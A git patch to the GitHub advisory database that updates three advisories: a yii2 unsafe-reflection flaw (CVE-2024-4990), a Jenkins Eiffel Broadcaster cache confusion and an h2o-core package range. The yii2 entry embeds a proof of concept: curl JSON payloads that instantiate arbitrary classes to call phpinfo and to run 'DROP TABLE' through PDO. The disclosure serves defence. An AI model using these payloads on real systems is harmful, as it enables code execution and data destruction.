From c28082b0d8e82f54ae8f4d5865f64d12a2e24408 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 20 Mar 2025 19:40:19 +0000 Subject: [PATCH] Publish Advisories GHSA-cjcc-p67m-7qxm GHSA-fpw7-8gjc-jwqj GHSA-h7xg-cmpp-48hf --- .../GHSA-cjcc-p67m-7qxm.json | 14 ++++++++++--- .../GHSA-fpw7-8gjc-jwqj.json | 7 ++++--- .../GHSA-h7xg-cmpp-48hf.json | 21 ++++++++++++++++++- 3 files changed, 35 insertions(+), 7 deletions(-) diff --git a/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json b/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json index 0a0dae17356..67a05c381bf 100644 --- a/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json +++ b/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-cjcc-p67m-7qxm", - "modified": "2024-07-31T15:16:42Z", + "modified": "2025-03-20T19:38:04Z", "published": "2024-06-02T22:30:39Z", "aliases": [ "CVE-2024-4990" ], "summary": "Unsafe Reflection in base Component class in yiisoft/yii2", - "details": "Yii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\n### Impact\nWith some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables\n\n### Patches\nNot yet patched.\n\n### Workarounds\nNo Work around available\n\n### References\nReported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) \n\nin case the link is dead, here is the full description\n\n# Description\n\nYii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid Behavior class name or configuration. An attacker that can control the content of the `$value` variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\nDepending on the installed dependencies various kind of attacks are possible.\n\n# Proof of Concept\n\nA PoC application was created using `composer create-project`, as specified in the [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation).\n\nYii JSON parser was enabled in the configuration:\n\n```php\n'parsers' => [ 'application/json' => 'yii\\web\\JsonParser' ]\n\n```\n\nA vulnerable controller was added:\n\n```php\nenableCsrfValidation = false;\n return parent::beforeAction($action);\n }\n\n public function actionVulnerable(): string\n {\n $fields = $this->request->post();\n $myComponent = new Component();\n foreach ($fields as $key => $value) {\n $myComponent->$key = $value;\n }\n return \"\";\n }\n}\n\n```\n\n## Executing phpinfo()\n\nFollowing command stores the content of `phpinfo()` inside info.html:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html\n\n```\n\nIt leverages the fact that `GuzzleHttp\\Psr7\\FnStream` class executes `call_user_func($this->_fn_close)` inside `__destruct()`. This class is a default dependency.\n\n## Executing arbitrary MySQL queries (blind execution)\n\nIf the application is connected to a MySQL database it is possible to exploit the `PDO` class to execute arbitrary SQL queries:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"\\\\PDO\", \"__construct()\": [\"mysql:host=127.0.0.1;dbname=test\", \"test\", \"test\", {\"1002\": \"DROP TABLE test\"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable\n\n```\n\nNotice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. \"Table 'test.foo' doesn't exist\"), depending on the app configuration.\n\n# Impact\n\nIt is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).\n\nThe consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.\n\n# Occurrences\n\n[Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)\n", + "details": "Yii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\n### Impact\nWith some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables\n\n### Patches\nNot yet patched.\n\n### Workarounds\nNo Work around available\n\n### References\nReported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) \n\nin case the link is dead, here is the full description\n\n# Description\n\nYii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid Behavior class name or configuration. An attacker that can control the content of the `$value` variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\nDepending on the installed dependencies various kind of attacks are possible.\n\n# Proof of Concept\n\nA PoC application was created using `composer create-project`, as specified in the [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation).\n\nYii JSON parser was enabled in the configuration:\n\n```php\n'parsers' => [ 'application/json' => 'yii\\web\\JsonParser' ]\n\n```\n\nA vulnerable controller was added:\n\n```php\nenableCsrfValidation = false;\n return parent::beforeAction($action);\n }\n\n public function actionVulnerable(): string\n {\n $fields = $this->request->post();\n $myComponent = new Component();\n foreach ($fields as $key => $value) {\n $myComponent->$key = $value;\n }\n return \"\";\n }\n}\n\n```\n\n## Executing phpinfo()\n\nFollowing command stores the content of `phpinfo()` inside info.html:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html\n\n```\n\nIt leverages the fact that `GuzzleHttp\\Psr7\\FnStream` class executes `call_user_func($this->_fn_close)` inside `__destruct()`. This class is a default dependency.\n\n## Executing arbitrary MySQL queries (blind execution)\n\nIf the application is connected to a MySQL database it is possible to exploit the `PDO` class to execute arbitrary SQL queries:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"\\\\PDO\", \"__construct()\": [\"mysql:host=127.0.0.1;dbname=test\", \"test\", \"test\", {\"1002\": \"DROP TABLE test\"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable\n\n```\n\nNotice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. \"Table 'test.foo' doesn't exist\"), depending on the app configuration.\n\n# Impact\n\nIt is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).\n\nThe consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.\n\n# Occurrences\n\n[Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)", "severity": [ { "type": "CVSS_V3", @@ -40,6 +40,10 @@ "type": "WEB", "url": "https://github.com/yiisoft/yii2/security/advisories/GHSA-cjcc-p67m-7qxm" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4990" + }, { "type": "WEB", "url": "https://github.com/yiisoft/yii2/pull/20183" @@ -63,6 +67,10 @@ { "type": "WEB", "url": "https://github.com/yiisoft/yii2/blob/master/framework/CHANGELOG.md#2050-may-30-2024" + }, + { + "type": "WEB", + "url": "https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f" } ], "database_specific": { @@ -72,6 +80,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-06-02T22:30:39Z", - "nvd_published_at": null + "nvd_published_at": "2025-03-20T10:15:32Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/01/GHSA-fpw7-8gjc-jwqj/GHSA-fpw7-8gjc-jwqj.json b/advisories/github-reviewed/2025/01/GHSA-fpw7-8gjc-jwqj/GHSA-fpw7-8gjc-jwqj.json index 4bab27aae53..4c05b4e0f1f 100644 --- a/advisories/github-reviewed/2025/01/GHSA-fpw7-8gjc-jwqj/GHSA-fpw7-8gjc-jwqj.json +++ b/advisories/github-reviewed/2025/01/GHSA-fpw7-8gjc-jwqj/GHSA-fpw7-8gjc-jwqj.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-fpw7-8gjc-jwqj", - "modified": "2025-01-22T19:26:49Z", + "modified": "2025-03-20T19:39:06Z", "published": "2025-01-22T18:31:55Z", "aliases": [ "CVE-2025-24400" ], "summary": "Cache confusion in Jenkins Eiffel Broadcaster Plugin ", - "details": "The Jenkins Eiffel Broadcaster Plugin allows events published to RabbitMQ to be signed using certificate credentials. To improve performance, the plugin caches some data from the credential.\n\nEiffel Broadcaster Plugin 2.8.0 through 2.10.2 (both inclusive) uses the credential ID as the cache key. This allows attackers able to create a credential with the same ID as a legitimate one in a different credentials store, to sign an event published to RabbitMQ with the legitimate certificate credentials.\n\nEiffel Broadcaster Plugin 2.10.3 removes the cache.\n", + "details": "The Jenkins Eiffel Broadcaster Plugin allows events published to RabbitMQ to be signed using certificate credentials. To improve performance, the plugin caches some data from the credential.\n\nEiffel Broadcaster Plugin 2.8.0 through 2.10.2 (both inclusive) uses the credential ID as the cache key. This allows attackers able to create a credential with the same ID as a legitimate one in a different credentials store, to sign an event published to RabbitMQ with the legitimate certificate credentials.\n\nEiffel Broadcaster Plugin 2.10.3 removes the cache.", "severity": [ { "type": "CVSS_V3", @@ -51,7 +51,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-276" + "CWE-276", + "CWE-863" ], "severity": "MODERATE", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/03/GHSA-h7xg-cmpp-48hf/GHSA-h7xg-cmpp-48hf.json b/advisories/github-reviewed/2025/03/GHSA-h7xg-cmpp-48hf/GHSA-h7xg-cmpp-48hf.json index ceb4edf587f..fb2500cec0a 100644 --- a/advisories/github-reviewed/2025/03/GHSA-h7xg-cmpp-48hf/GHSA-h7xg-cmpp-48hf.json +++ b/advisories/github-reviewed/2025/03/GHSA-h7xg-cmpp-48hf/GHSA-h7xg-cmpp-48hf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-h7xg-cmpp-48hf", - "modified": "2025-03-20T19:07:18Z", + "modified": "2025-03-20T19:38:37Z", "published": "2025-03-20T12:32:39Z", "aliases": [ "CVE-2024-10553" @@ -33,6 +33,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "ai.h2o:h2o-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.46.0.6" + } + ] + } + ] } ], "references": [